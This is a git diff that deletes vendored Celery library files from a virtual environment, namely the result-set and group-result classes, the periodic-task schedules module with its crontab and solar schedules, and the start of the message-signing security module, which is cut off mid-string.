- 'Backend does not support on_message callback') - - results = [] - for result in self.results: - remaining = None - if timeout: - remaining = timeout - (time.monotonic() - time_start) - if remaining <= 0.0: - raise TimeoutError('join operation timed out') - value = result.get( - timeout=remaining, propagate=propagate, - interval=interval, no_ack=no_ack, on_interval=on_interval, - disable_sync_subtasks=disable_sync_subtasks, - ) - if callback: - callback(result.id, value) - else: - results.append(value) - return results - - def then(self, callback, on_error=None, weak=False): - return self.on_ready.then(callback, on_error) - - def iter_native(self, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None): - """Backend optimized version of :meth:`iterate`. - - .. versionadded:: 2.2 - - Note that this does not support collecting the results - for different task types using different backends. - - This is currently only supported by the amqp, Redis and cache - result backends. - """ - return self.backend.iter_native( - self, - timeout=timeout, interval=interval, no_ack=no_ack, - on_message=on_message, on_interval=on_interval, - ) - - def join_native(self, timeout=None, propagate=True, - interval=0.5, callback=None, no_ack=True, - on_message=None, on_interval=None, - disable_sync_subtasks=True): - """Backend optimized version of :meth:`join`. - - .. versionadded:: 2.2 - - Note that this does not support collecting the results - for different task types using different backends. - - This is currently only supported by the amqp, Redis and cache - result backends. - """ - if disable_sync_subtasks: - assert_will_not_block() - order_index = None if callback else { - result.id: i for i, result in enumerate(self.results) - } - acc = None if callback else [None for _ in range(len(self))] - for task_id, meta in self.iter_native(timeout, interval, no_ack, - on_message, on_interval): - if isinstance(meta, list): - value = [] - for children_result in meta: - value.append(children_result.get()) - else: - value = meta['result'] - if propagate and meta['status'] in states.PROPAGATE_STATES: - raise value - if callback: - callback(task_id, value) - else: - acc[order_index[task_id]] = value - return acc - - def _iter_meta(self, **kwargs): - return (meta for _, meta in self.backend.get_many( - {r.id for r in self.results}, max_iterations=1, **kwargs - )) - - def _failed_join_report(self): - return (res for res in self.results - if res.backend.is_cached(res.id) and - res.state in states.PROPAGATE_STATES) - - def __len__(self): - return len(self.results) - - def __eq__(self, other): - if isinstance(other, ResultSet): - return other.results == self.results - return NotImplemented - - def __repr__(self): - return f'<{type(self).__name__}: [{", ".join(r.id for r in self.results)}]>' - - @property - def supports_native_join(self): - try: - return self.results[0].supports_native_join - except IndexError: - pass - - @property - def app(self): - if self._app is None: - self._app = (self.results[0].app if self.results else - current_app._get_current_object()) - return self._app - - @app.setter - def app(self, app): - self._app = app - - @property - def backend(self): - return self.app.backend if self.app else self.results[0].backend - - -@Thenable.register -class GroupResult(ResultSet): - """Like :class:`ResultSet`, but with an associated id. - - This type is returned by :class:`~celery.group`. - - It enables inspection of the tasks state and return values as - a single entity. - - Arguments: - id (str): The id of the group. - results (Sequence[AsyncResult]): List of result instances. - parent (ResultBase): Parent result of this group. - """ - - #: The UUID of the group. - id = None - - #: List/iterator of results in the group - results = None - - def __init__(self, id=None, results=None, parent=None, **kwargs): - self.id = id - self.parent = parent - super().__init__(results, **kwargs) - - def _on_ready(self): - self.backend.remove_pending_result(self) - super()._on_ready() - - def save(self, backend=None): - """Save group-result for later retrieval using :meth:`restore`. - - Example: - >>> def save_and_restore(result): - ... result.save() - ... result = GroupResult.restore(result.id) - """ - return (backend or self.app.backend).save_group(self.id, self) - - def delete(self, backend=None): - """Remove this result if it was previously saved.""" - (backend or self.app.backend).delete_group(self.id) - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return self.id, self.results - - def __bool__(self): - return bool(self.id or self.results) - __nonzero__ = __bool__ # Included for Py2 backwards compatibility - - def __eq__(self, other): - if isinstance(other, GroupResult): - return ( - other.id == self.id and - other.results == self.results and - other.parent == self.parent - ) - elif isinstance(other, str): - return other == self.id - return NotImplemented - - def __repr__(self): - return f'<{type(self).__name__}: {self.id} [{", ".join(r.id for r in self.results)}]>' - - def __str__(self): - """`str(self) -> self.id`.""" - return str(self.id) - - def __hash__(self): - """`hash(self) -> hash(self.id)`.""" - return hash(self.id) - - def as_tuple(self): - return ( - (self.id, self.parent and self.parent.as_tuple()), - [r.as_tuple() for r in self.results] - ) - - @property - def children(self): - return self.results - - @classmethod - def restore(cls, id, backend=None, app=None): - """Restore previously saved group result.""" - app = app or ( - cls.app if not isinstance(cls.app, property) else current_app - ) - backend = backend or app.backend - return backend.restore_group(id) - - -@Thenable.register -class EagerResult(AsyncResult): - """Result that we know has already been executed.""" - - def __init__(self, id, ret_value, state, traceback=None, name=None): - # pylint: disable=super-init-not-called - # XXX should really not be inheriting from AsyncResult - self.id = id - self._result = ret_value - self._state = state - self._traceback = traceback - self._name = name - self.on_ready = promise() - self.on_ready(self) - - def then(self, callback, on_error=None, weak=False): - return self.on_ready.then(callback, on_error) - - def _get_task_meta(self): - return self._cache - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return (self.id, self._result, self._state, self._traceback) - - def __copy__(self): - cls, args = self.__reduce__() - return cls(*args) - - def ready(self): - return True - - def get(self, timeout=None, propagate=True, - disable_sync_subtasks=True, **kwargs): - if disable_sync_subtasks: - assert_will_not_block() - - if self.successful(): - return self.result - elif self.state in states.PROPAGATE_STATES: - if propagate: - raise self.result if isinstance( - self.result, Exception) else Exception(self.result) - return self.result - wait = get # XXX Compat (remove 5.0) - - def forget(self): - pass - - def revoke(self, *args, **kwargs): - self._state = states.REVOKED - - def __repr__(self): - return f'' - - @property - def _cache(self): - return { - 'task_id': self.id, - 'result': self._result, - 'status': self._state, - 'traceback': self._traceback, - 'name': self._name, - } - - @property - def result(self): - """The tasks return value.""" - return self._result - - @property - def state(self): - """The tasks state.""" - return self._state - status = state - - @property - def traceback(self): - """The traceback if the task failed.""" - return self._traceback - - @property - def supports_native_join(self): - return False - - -def result_from_tuple(r, app=None): - """Deserialize result from tuple.""" - # earlier backends may just pickle, so check if - # result is already prepared. - app = app_or_default(app) - Result = app.AsyncResult - if not isinstance(r, ResultBase): - res, nodes = r - id, parent = res if isinstance(res, (list, tuple)) else (res, None) - if parent: - parent = result_from_tuple(parent, app) - - if nodes is not None: - return app.GroupResult( - id, [result_from_tuple(child, app) for child in nodes], - parent=parent, - ) - - return Result(id, parent=parent) - return r diff --git a/venv/Lib/site-packages/celery/schedules.py b/venv/Lib/site-packages/celery/schedules.py deleted file mode 100644 index dc6cb695394380055f6405dd79663e6af25abc85..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/schedules.py +++ /dev/null @@ -1,887 +0,0 @@ -"""Schedules define the intervals at which periodic tasks run.""" -from __future__ import annotations - -import re -from bisect import bisect, bisect_left -from collections import namedtuple -from datetime import datetime, timedelta, tzinfo -from typing import Any, Callable, Iterable, Mapping, Sequence, Union - -from kombu.utils.objects import cached_property - -from celery import Celery - -from . import current_app -from .utils.collections import AttributeDict -from .utils.time import (ffwd, humanize_seconds, localize, maybe_make_aware, maybe_timedelta, remaining, timezone, - weekday, yearmonth) - -__all__ = ( - 'ParseException', 'schedule', 'crontab', 'crontab_parser', - 'maybe_schedule', 'solar', -) - -schedstate = namedtuple('schedstate', ('is_due', 'next')) - -CRON_PATTERN_INVALID = """\ -Invalid crontab pattern. Valid range is {min}-{max}. \ -'{value}' was found.\ -""" - -CRON_INVALID_TYPE = """\ -Argument cronspec needs to be of any of the following types: \ -int, str, or an iterable type. {type!r} was given.\ -""" - -CRON_REPR = """\ -\ -""" - -SOLAR_INVALID_LATITUDE = """\ -Argument latitude {lat} is invalid, must be between -90 and 90.\ -""" - -SOLAR_INVALID_LONGITUDE = """\ -Argument longitude {lon} is invalid, must be between -180 and 180.\ -""" - -SOLAR_INVALID_EVENT = """\ -Argument event "{event}" is invalid, must be one of {all_events}.\ -""" - - -Cronspec = Union[int, str, Iterable[int]] - - -def cronfield(s: Cronspec | None) -> Cronspec: - return '*' if s is None else s - - -class ParseException(Exception): - """Raised by :class:`crontab_parser` when the input can't be parsed.""" - - -class BaseSchedule: - - def __init__(self, nowfun: Callable | None = None, app: Celery | None = None): - self.nowfun = nowfun - self._app = app - - def now(self) -> datetime: - return (self.nowfun or self.app.now)() - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - raise NotImplementedError() - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - raise NotImplementedError() - - def maybe_make_aware( - self, dt: datetime, naive_as_utc: bool = True) -> datetime: - return maybe_make_aware(dt, self.tz, naive_as_utc=naive_as_utc) - - @property - def app(self) -> Celery: - return self._app or current_app._get_current_object() - - @app.setter - def app(self, app: Celery) -> None: - self._app = app - - @cached_property - def tz(self) -> tzinfo: - return self.app.timezone - - @cached_property - def utc_enabled(self) -> bool: - return self.app.conf.enable_utc - - def to_local(self, dt: datetime) -> datetime: - if not self.utc_enabled: - return timezone.to_local_fallback(dt) - return dt - - def __eq__(self, other: Any) -> bool: - if isinstance(other, BaseSchedule): - return other.nowfun == self.nowfun - return NotImplemented - - -class schedule(BaseSchedule): - """Schedule for periodic task. - - Arguments: - run_every (float, ~datetime.timedelta): Time interval. - relative (bool): If set to True the run time will be rounded to the - resolution of the interval. - nowfun (Callable): Function returning the current date and time - (:class:`~datetime.datetime`). - app (Celery): Celery app instance. - """ - - relative: bool = False - - def __init__(self, run_every: float | timedelta | None = None, - relative: bool = False, nowfun: Callable | None = None, app: Celery - | None = None) -> None: - self.run_every = maybe_timedelta(run_every) - self.relative = relative - super().__init__(nowfun=nowfun, app=app) - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - return remaining( - self.maybe_make_aware(last_run_at), self.run_every, - self.maybe_make_aware(self.now()), self.relative, - ) - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_check)``. - - Notes: - - next time to check is in seconds. - - - ``(True, 20)``, means the task should be run now, and the next - time to check is in 20 seconds. - - - ``(False, 12.3)``, means the task is not due, but that the - scheduler should check again in 12.3 seconds. - - The next time to check is used to save energy/CPU cycles, - it does not need to be accurate but will influence the precision - of your schedule. You must also keep in mind - the value of :setting:`beat_max_loop_interval`, - that decides the maximum number of seconds the scheduler can - sleep between re-checking the periodic task intervals. So if you - have a task that changes schedule at run-time then your next_run_at - check will decide how long it will take before a change to the - schedule takes effect. The max loop interval takes precedence - over the next check at value returned. - - .. admonition:: Scheduler max interval variance - - The default max loop interval may vary for different schedulers. - For the default scheduler the value is 5 minutes, but for example - the :pypi:`django-celery-beat` database scheduler the value - is 5 seconds. - """ - last_run_at = self.maybe_make_aware(last_run_at) - rem_delta = self.remaining_estimate(last_run_at) - remaining_s = max(rem_delta.total_seconds(), 0) - if remaining_s == 0: - return schedstate(is_due=True, next=self.seconds) - return schedstate(is_due=False, next=remaining_s) - - def __repr__(self) -> str: - return f'' - - def __eq__(self, other: Any) -> bool: - if isinstance(other, schedule): - return self.run_every == other.run_every - return self.run_every == other - - def __reduce__(self) -> tuple[type, - tuple[timedelta, bool, Callable | None]]: - return self.__class__, (self.run_every, self.relative, self.nowfun) - - @property - def seconds(self) -> int | float: - return max(self.run_every.total_seconds(), 0) - - @property - def human_seconds(self) -> str: - return humanize_seconds(self.seconds) - - -class crontab_parser: - """Parser for Crontab expressions. - - Any expression of the form 'groups' - (see BNF grammar below) is accepted and expanded to a set of numbers. - These numbers represent the units of time that the Crontab needs to - run on: - - .. code-block:: bnf - - digit :: '0'..'9' - dow :: 'a'..'z' - number :: digit+ | dow+ - steps :: number - range :: number ( '-' number ) ? - numspec :: '*' | range - expr :: numspec ( '/' steps ) ? - groups :: expr ( ',' expr ) * - - The parser is a general purpose one, useful for parsing hours, minutes and - day of week expressions. Example usage: - - .. code-block:: pycon - - >>> minutes = crontab_parser(60).parse('*/15') - [0, 15, 30, 45] - >>> hours = crontab_parser(24).parse('*/4') - [0, 4, 8, 12, 16, 20] - >>> day_of_week = crontab_parser(7).parse('*') - [0, 1, 2, 3, 4, 5, 6] - - It can also parse day of month and month of year expressions if initialized - with a minimum of 1. Example usage: - - .. code-block:: pycon - - >>> days_of_month = crontab_parser(31, 1).parse('*/3') - [1, 4, 7, 10, 13, 16, 19, 22, 25, 28, 31] - >>> months_of_year = crontab_parser(12, 1).parse('*/2') - [1, 3, 5, 7, 9, 11] - >>> months_of_year = crontab_parser(12, 1).parse('2-12/2') - [2, 4, 6, 8, 10, 12] - - The maximum possible expanded value returned is found by the formula: - - :math:`max_ + min_ - 1` - """ - - ParseException = ParseException - - _range = r'(\w+?)-(\w+)' - _steps = r'/(\w+)?' - _star = r'\*' - - def __init__(self, max_: int = 60, min_: int = 0): - self.max_ = max_ - self.min_ = min_ - self.pats: tuple[tuple[re.Pattern, Callable], ...] = ( - (re.compile(self._range + self._steps), self._range_steps), - (re.compile(self._range), self._expand_range), - (re.compile(self._star + self._steps), self._star_steps), - (re.compile('^' + self._star + '$'), self._expand_star), - ) - - def parse(self, spec: str) -> set[int]: - acc = set() - for part in spec.split(','): - if not part: - raise self.ParseException('empty part') - acc |= set(self._parse_part(part)) - return acc - - def _parse_part(self, part: str) -> list[int]: - for regex, handler in self.pats: - m = regex.match(part) - if m: - return handler(m.groups()) - return self._expand_range((part,)) - - def _expand_range(self, toks: Sequence[str]) -> list[int]: - fr = self._expand_number(toks[0]) - if len(toks) > 1: - to = self._expand_number(toks[1]) - if to < fr: # Wrap around max_ if necessary - return (list(range(fr, self.min_ + self.max_)) + - list(range(self.min_, to + 1))) - return list(range(fr, to + 1)) - return [fr] - - def _range_steps(self, toks: Sequence[str]) -> list[int]: - if len(toks) != 3 or not toks[2]: - raise self.ParseException('empty filter') - return self._expand_range(toks[:2])[::int(toks[2])] - - def _star_steps(self, toks: Sequence[str]) -> list[int]: - if not toks or not toks[0]: - raise self.ParseException('empty filter') - return self._expand_star()[::int(toks[0])] - - def _expand_star(self, *args: Any) -> list[int]: - return list(range(self.min_, self.max_ + self.min_)) - - def _expand_number(self, s: str) -> int: - if isinstance(s, str) and s[0] == '-': - raise self.ParseException('negative numbers not supported') - try: - i = int(s) - except ValueError: - try: - i = yearmonth(s) - except KeyError: - try: - i = weekday(s) - except KeyError: - raise ValueError(f'Invalid weekday literal {s!r}.') - - max_val = self.min_ + self.max_ - 1 - if i > max_val: - raise ValueError( - f'Invalid end range: {i} > {max_val}.') - if i < self.min_: - raise ValueError( - f'Invalid beginning range: {i} < {self.min_}.') - - return i - - -class crontab(BaseSchedule): - """Crontab schedule. - - A Crontab can be used as the ``run_every`` value of a - periodic task entry to add :manpage:`crontab(5)`-like scheduling. - - Like a :manpage:`cron(5)`-job, you can specify units of time of when - you'd like the task to execute. It's a reasonably complete - implementation of :command:`cron`'s features, so it should provide a fair - degree of scheduling needs. - - You can specify a minute, an hour, a day of the week, a day of the - month, and/or a month in the year in any of the following formats: - - .. attribute:: minute - - - A (list of) integers from 0-59 that represent the minutes of - an hour of when execution should occur; or - - A string representing a Crontab pattern. This may get pretty - advanced, like ``minute='*/15'`` (for every quarter) or - ``minute='1,13,30-45,50-59/2'``. - - .. attribute:: hour - - - A (list of) integers from 0-23 that represent the hours of - a day of when execution should occur; or - - A string representing a Crontab pattern. This may get pretty - advanced, like ``hour='*/3'`` (for every three hours) or - ``hour='0,8-17/2'`` (at midnight, and every two hours during - office hours). - - .. attribute:: day_of_week - - - A (list of) integers from 0-6, where Sunday = 0 and Saturday = - 6, that represent the days of a week that execution should - occur. - - A string representing a Crontab pattern. This may get pretty - advanced, like ``day_of_week='mon-fri'`` (for weekdays only). - (Beware that ``day_of_week='*/2'`` does not literally mean - 'every two days', but 'every day that is divisible by two'!) - - .. attribute:: day_of_month - - - A (list of) integers from 1-31 that represents the days of the - month that execution should occur. - - A string representing a Crontab pattern. This may get pretty - advanced, such as ``day_of_month='2-30/2'`` (for every even - numbered day) or ``day_of_month='1-7,15-21'`` (for the first and - third weeks of the month). - - .. attribute:: month_of_year - - - A (list of) integers from 1-12 that represents the months of - the year during which execution can occur. - - A string representing a Crontab pattern. This may get pretty - advanced, such as ``month_of_year='*/3'`` (for the first month - of every quarter) or ``month_of_year='2-12/2'`` (for every even - numbered month). - - .. attribute:: nowfun - - Function returning the current date and time - (:class:`~datetime.datetime`). - - .. attribute:: app - - The Celery app instance. - - It's important to realize that any day on which execution should - occur must be represented by entries in all three of the day and - month attributes. For example, if ``day_of_week`` is 0 and - ``day_of_month`` is every seventh day, only months that begin - on Sunday and are also in the ``month_of_year`` attribute will have - execution events. Or, ``day_of_week`` is 1 and ``day_of_month`` - is '1-7,15-21' means every first and third Monday of every month - present in ``month_of_year``. - """ - - def __init__(self, minute: Cronspec = '*', hour: Cronspec = '*', day_of_week: Cronspec = '*', - day_of_month: Cronspec = '*', month_of_year: Cronspec = '*', **kwargs: Any) -> None: - self._orig_minute = cronfield(minute) - self._orig_hour = cronfield(hour) - self._orig_day_of_week = cronfield(day_of_week) - self._orig_day_of_month = cronfield(day_of_month) - self._orig_month_of_year = cronfield(month_of_year) - self._orig_kwargs = kwargs - self.hour = self._expand_cronspec(hour, 24) - self.minute = self._expand_cronspec(minute, 60) - self.day_of_week = self._expand_cronspec(day_of_week, 7) - self.day_of_month = self._expand_cronspec(day_of_month, 31, 1) - self.month_of_year = self._expand_cronspec(month_of_year, 12, 1) - super().__init__(**kwargs) - - @classmethod - def from_string(cls, crontab: str) -> crontab: - """ - Create a Crontab from a cron expression string. For example ``crontab.from_string('* * * * *')``. - - .. code-block:: text - - ┌───────────── minute (0–59) - │ ┌───────────── hour (0–23) - │ │ ┌───────────── day of the month (1–31) - │ │ │ ┌───────────── month (1–12) - │ │ │ │ ┌───────────── day of the week (0–6) (Sunday to Saturday) - * * * * * - """ - minute, hour, day_of_month, month_of_year, day_of_week = crontab.split(" ") - return cls(minute, hour, day_of_week, day_of_month, month_of_year) - - @staticmethod - def _expand_cronspec( - cronspec: Cronspec, - max_: int, min_: int = 0) -> set[Any]: - """Expand cron specification. - - Takes the given cronspec argument in one of the forms: - - .. code-block:: text - - int (like 7) - str (like '3-5,*/15', '*', or 'monday') - set (like {0,15,30,45} - list (like [8-17]) - - And convert it to an (expanded) set representing all time unit - values on which the Crontab triggers. Only in case of the base - type being :class:`str`, parsing occurs. (It's fast and - happens only once for each Crontab instance, so there's no - significant performance overhead involved.) - - For the other base types, merely Python type conversions happen. - - The argument ``max_`` is needed to determine the expansion of - ``*`` and ranges. The argument ``min_`` is needed to determine - the expansion of ``*`` and ranges for 1-based cronspecs, such as - day of month or month of year. The default is sufficient for minute, - hour, and day of week. - """ - if isinstance(cronspec, int): - result = {cronspec} - elif isinstance(cronspec, str): - result = crontab_parser(max_, min_).parse(cronspec) - elif isinstance(cronspec, set): - result = cronspec - elif isinstance(cronspec, Iterable): - result = set(cronspec) # type: ignore - else: - raise TypeError(CRON_INVALID_TYPE.format(type=type(cronspec))) - - # assure the result does not precede the min or exceed the max - for number in result: - if number >= max_ + min_ or number < min_: - raise ValueError(CRON_PATTERN_INVALID.format( - min=min_, max=max_ - 1 + min_, value=number)) - return result - - def _delta_to_next(self, last_run_at: datetime, next_hour: int, - next_minute: int) -> ffwd: - """Find next delta. - - Takes a :class:`~datetime.datetime` of last run, next minute and hour, - and returns a :class:`~celery.utils.time.ffwd` for the next - scheduled day and time. - - Only called when ``day_of_month`` and/or ``month_of_year`` - cronspec is specified to further limit scheduled task execution. - """ - datedata = AttributeDict(year=last_run_at.year) - days_of_month = sorted(self.day_of_month) - months_of_year = sorted(self.month_of_year) - - def day_out_of_range(year: int, month: int, day: int) -> bool: - try: - datetime(year=year, month=month, day=day) - except ValueError: - return True - return False - - def is_before_last_run(year: int, month: int, day: int) -> bool: - return self.maybe_make_aware( - datetime(year, month, day, next_hour, next_minute), - naive_as_utc=False) < last_run_at - - def roll_over() -> None: - for _ in range(2000): - flag = (datedata.dom == len(days_of_month) or - day_out_of_range(datedata.year, - months_of_year[datedata.moy], - days_of_month[datedata.dom]) or - (is_before_last_run(datedata.year, - months_of_year[datedata.moy], - days_of_month[datedata.dom]))) - - if flag: - datedata.dom = 0 - datedata.moy += 1 - if datedata.moy == len(months_of_year): - datedata.moy = 0 - datedata.year += 1 - else: - break - else: - # Tried 2000 times, we're most likely in an infinite loop - raise RuntimeError('unable to rollover, ' - 'time specification is probably invalid') - - if last_run_at.month in self.month_of_year: - datedata.dom = bisect(days_of_month, last_run_at.day) - datedata.moy = bisect_left(months_of_year, last_run_at.month) - else: - datedata.dom = 0 - datedata.moy = bisect(months_of_year, last_run_at.month) - if datedata.moy == len(months_of_year): - datedata.moy = 0 - roll_over() - - while 1: - th = datetime(year=datedata.year, - month=months_of_year[datedata.moy], - day=days_of_month[datedata.dom]) - if th.isoweekday() % 7 in self.day_of_week: - break - datedata.dom += 1 - roll_over() - - return ffwd(year=datedata.year, - month=months_of_year[datedata.moy], - day=days_of_month[datedata.dom], - hour=next_hour, - minute=next_minute, - second=0, - microsecond=0) - - def __repr__(self) -> str: - return CRON_REPR.format(self) - - def __reduce__(self) -> tuple[type, tuple[Cronspec, Cronspec, Cronspec, Cronspec, Cronspec], Any]: - return (self.__class__, (self._orig_minute, - self._orig_hour, - self._orig_day_of_week, - self._orig_day_of_month, - self._orig_month_of_year), self._orig_kwargs) - - def __setstate__(self, state: Mapping[str, Any]) -> None: - # Calling super's init because the kwargs aren't necessarily passed in - # the same form as they are stored by the superclass - super().__init__(**state) - - def remaining_delta(self, last_run_at: datetime, tz: tzinfo | None = None, - ffwd: type = ffwd) -> tuple[datetime, Any, datetime]: - # caching global ffwd - last_run_at = self.maybe_make_aware(last_run_at) - now = self.maybe_make_aware(self.now()) - dow_num = last_run_at.isoweekday() % 7 # Sunday is day 0, not day 7 - - execute_this_date = ( - last_run_at.month in self.month_of_year and - last_run_at.day in self.day_of_month and - dow_num in self.day_of_week - ) - - execute_this_hour = ( - execute_this_date and - last_run_at.day == now.day and - last_run_at.month == now.month and - last_run_at.year == now.year and - last_run_at.hour in self.hour and - last_run_at.minute < max(self.minute) - ) - - if execute_this_hour: - next_minute = min(minute for minute in self.minute - if minute > last_run_at.minute) - delta = ffwd(minute=next_minute, second=0, microsecond=0) - else: - next_minute = min(self.minute) - execute_today = (execute_this_date and - last_run_at.hour < max(self.hour)) - - if execute_today: - next_hour = min(hour for hour in self.hour - if hour > last_run_at.hour) - delta = ffwd(hour=next_hour, minute=next_minute, - second=0, microsecond=0) - else: - next_hour = min(self.hour) - all_dom_moy = (self._orig_day_of_month == '*' and - self._orig_month_of_year == '*') - if all_dom_moy: - next_day = min([day for day in self.day_of_week - if day > dow_num] or self.day_of_week) - add_week = next_day == dow_num - - delta = ffwd( - weeks=add_week and 1 or 0, - weekday=(next_day - 1) % 7, - hour=next_hour, - minute=next_minute, - second=0, - microsecond=0, - ) - else: - delta = self._delta_to_next(last_run_at, - next_hour, next_minute) - return self.to_local(last_run_at), delta, self.to_local(now) - - def remaining_estimate( - self, last_run_at: datetime, ffwd: type = ffwd) -> timedelta: - """Estimate of next run time. - - Returns when the periodic task should run next as a - :class:`~datetime.timedelta`. - """ - # pylint: disable=redefined-outer-name - # caching global ffwd - return remaining(*self.remaining_delta(last_run_at, ffwd=ffwd)) - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_run)``. - - If :setting:`beat_cron_starting_deadline` has been specified, the - scheduler will make sure that the `last_run_at` time is within the - deadline. This prevents tasks that could have been run according to - the crontab, but didn't, from running again unexpectedly. - - Note: - Next time to run is in seconds. - - SeeAlso: - :meth:`celery.schedules.schedule.is_due` for more information. - """ - - rem_delta = self.remaining_estimate(last_run_at) - rem_secs = rem_delta.total_seconds() - rem = max(rem_secs, 0) - due = rem == 0 - - deadline_secs = self.app.conf.beat_cron_starting_deadline - has_passed_deadline = False - if deadline_secs is not None: - # Make sure we're looking at the latest possible feasible run - # date when checking the deadline. - last_date_checked = last_run_at - last_feasible_rem_secs = rem_secs - while rem_secs < 0: - last_date_checked = last_date_checked + abs(rem_delta) - rem_delta = self.remaining_estimate(last_date_checked) - rem_secs = rem_delta.total_seconds() - if rem_secs < 0: - last_feasible_rem_secs = rem_secs - - # if rem_secs becomes 0 or positive, second-to-last - # last_date_checked must be the last feasible run date. - # Check if the last feasible date is within the deadline - # for running - has_passed_deadline = -last_feasible_rem_secs > deadline_secs - if has_passed_deadline: - # Should not be due if we've passed the deadline for looking - # at past runs - due = False - - if due or has_passed_deadline: - rem_delta = self.remaining_estimate(self.now()) - rem = max(rem_delta.total_seconds(), 0) - return schedstate(due, rem) - - def __eq__(self, other: Any) -> bool: - if isinstance(other, crontab): - return ( - other.month_of_year == self.month_of_year and - other.day_of_month == self.day_of_month and - other.day_of_week == self.day_of_week and - other.hour == self.hour and - other.minute == self.minute and - super().__eq__(other) - ) - return NotImplemented - - -def maybe_schedule( - s: int | float | timedelta | BaseSchedule, relative: bool = False, - app: Celery | None = None) -> float | timedelta | BaseSchedule: - """Return schedule from number, timedelta, or actual schedule.""" - if s is not None: - if isinstance(s, (float, int)): - s = timedelta(seconds=s) - if isinstance(s, timedelta): - return schedule(s, relative, app=app) - else: - s.app = app - return s - - -class solar(BaseSchedule): - """Solar event. - - A solar event can be used as the ``run_every`` value of a - periodic task entry to schedule based on certain solar events. - - Notes: - - Available event values are: - - - ``dawn_astronomical`` - - ``dawn_nautical`` - - ``dawn_civil`` - - ``sunrise`` - - ``solar_noon`` - - ``sunset`` - - ``dusk_civil`` - - ``dusk_nautical`` - - ``dusk_astronomical`` - - Arguments: - event (str): Solar event that triggers this task. - See note for available values. - lat (float): The latitude of the observer. - lon (float): The longitude of the observer. - nowfun (Callable): Function returning the current date and time - as a class:`~datetime.datetime`. - app (Celery): Celery app instance. - """ - - _all_events = { - 'dawn_astronomical', - 'dawn_nautical', - 'dawn_civil', - 'sunrise', - 'solar_noon', - 'sunset', - 'dusk_civil', - 'dusk_nautical', - 'dusk_astronomical', - } - _horizons = { - 'dawn_astronomical': '-18', - 'dawn_nautical': '-12', - 'dawn_civil': '-6', - 'sunrise': '-0:34', - 'solar_noon': '0', - 'sunset': '-0:34', - 'dusk_civil': '-6', - 'dusk_nautical': '-12', - 'dusk_astronomical': '-18', - } - _methods = { - 'dawn_astronomical': 'next_rising', - 'dawn_nautical': 'next_rising', - 'dawn_civil': 'next_rising', - 'sunrise': 'next_rising', - 'solar_noon': 'next_transit', - 'sunset': 'next_setting', - 'dusk_civil': 'next_setting', - 'dusk_nautical': 'next_setting', - 'dusk_astronomical': 'next_setting', - } - _use_center_l = { - 'dawn_astronomical': True, - 'dawn_nautical': True, - 'dawn_civil': True, - 'sunrise': False, - 'solar_noon': False, - 'sunset': False, - 'dusk_civil': True, - 'dusk_nautical': True, - 'dusk_astronomical': True, - } - - def __init__(self, event: str, lat: int | float, lon: int | float, ** - kwargs: Any) -> None: - self.ephem = __import__('ephem') - self.event = event - self.lat = lat - self.lon = lon - super().__init__(**kwargs) - - if event not in self._all_events: - raise ValueError(SOLAR_INVALID_EVENT.format( - event=event, all_events=', '.join(sorted(self._all_events)), - )) - if lat < -90 or lat > 90: - raise ValueError(SOLAR_INVALID_LATITUDE.format(lat=lat)) - if lon < -180 or lon > 180: - raise ValueError(SOLAR_INVALID_LONGITUDE.format(lon=lon)) - - cal = self.ephem.Observer() - cal.lat = str(lat) - cal.lon = str(lon) - cal.elev = 0 - cal.horizon = self._horizons[event] - cal.pressure = 0 - self.cal = cal - - self.method = self._methods[event] - self.use_center = self._use_center_l[event] - - def __reduce__(self) -> tuple[type, tuple[str, int | float, int | float]]: - return self.__class__, (self.event, self.lat, self.lon) - - def __repr__(self) -> str: - return ''.format( - self.event, self.lat, self.lon, - ) - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - """Return estimate of next time to run. - - Returns: - ~datetime.timedelta: when the periodic task should - run next, or if it shouldn't run today (e.g., the sun does - not rise today), returns the time when the next check - should take place. - """ - last_run_at = self.maybe_make_aware(last_run_at) - last_run_at_utc = localize(last_run_at, timezone.utc) - self.cal.date = last_run_at_utc - try: - if self.use_center: - next_utc = getattr(self.cal, self.method)( - self.ephem.Sun(), - start=last_run_at_utc, use_center=self.use_center - ) - else: - next_utc = getattr(self.cal, self.method)( - self.ephem.Sun(), start=last_run_at_utc - ) - - except self.ephem.CircumpolarError: # pragma: no cover - # Sun won't rise/set today. Check again tomorrow - # (specifically, after the next anti-transit). - next_utc = ( - self.cal.next_antitransit(self.ephem.Sun()) + - timedelta(minutes=1) - ) - next = self.maybe_make_aware(next_utc.datetime()) - now = self.maybe_make_aware(self.now()) - delta = next - now - return delta - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_run)``. - - Note: - next time to run is in seconds. - - See Also: - :meth:`celery.schedules.schedule.is_due` for more information. - """ - rem_delta = self.remaining_estimate(last_run_at) - rem = max(rem_delta.total_seconds(), 0) - due = rem == 0 - if due: - rem_delta = self.remaining_estimate(self.now()) - rem = max(rem_delta.total_seconds(), 0) - return schedstate(due, rem) - - def __eq__(self, other: Any) -> bool: - if isinstance(other, solar): - return ( - other.event == self.event and - other.lat == self.lat and - other.lon == self.lon - ) - return NotImplemented diff --git a/venv/Lib/site-packages/celery/security/__init__.py b/venv/Lib/site-packages/celery/security/__init__.py deleted file mode 100644 index c801d98b1dfcc369843cc932091fc9613f20491f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/security/__init__.py +++ /dev/null @@ -1,74 +0,0 @@ -"""Message Signing Serializer.""" -from kombu.serialization import disable_insecure_serializers as _disable_insecure_serializers -from kombu.serialization import registry - -from celery.exceptions import ImproperlyConfigured - -from .serialization import register_auth # : need cryptography first - -CRYPTOGRAPHY_NOT_INSTALLED = """\ -You need to install the cryptography library to use the auth serializer. -Please install by: - - $ pip install cryptography -""" - -SECURITY_SETTING_MISSING = """\ -Sorry, but you have to configure the - * security_key - * security_certificate, and the - * security_cert_store -configuration settings to use the auth 